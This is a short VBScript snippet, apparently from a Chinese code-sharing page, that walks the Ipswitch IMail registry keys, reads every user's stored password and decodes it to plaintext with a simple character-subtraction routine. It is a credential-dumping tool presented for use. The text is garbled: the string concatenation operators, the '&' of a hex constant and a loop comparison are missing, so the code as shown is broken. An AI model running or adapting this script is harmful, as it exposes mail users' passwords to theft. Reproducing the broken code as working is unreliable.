复制代码 代码如下:
on error resume next
const HKEY_LOCAL_MACHINE = H80000002
strComputer = "."
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
strComputer "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Ipswitch\IMail\Domains"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo "Domain: "subkey
strKeyPath2 = strKeyPath"\"subkey"\Users"
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2"\"subkey2
strValueName = "Password"
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 " : " decrypt(subkey2,strValue)
end if
Next
Next
function decrypt(name,pass)
while len(name)len(pass)/2
name=namename
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p="H"p
n=mid(name,i+1,1)
decrypt=decryptchr(clng(p)-asc(n))
next
end function
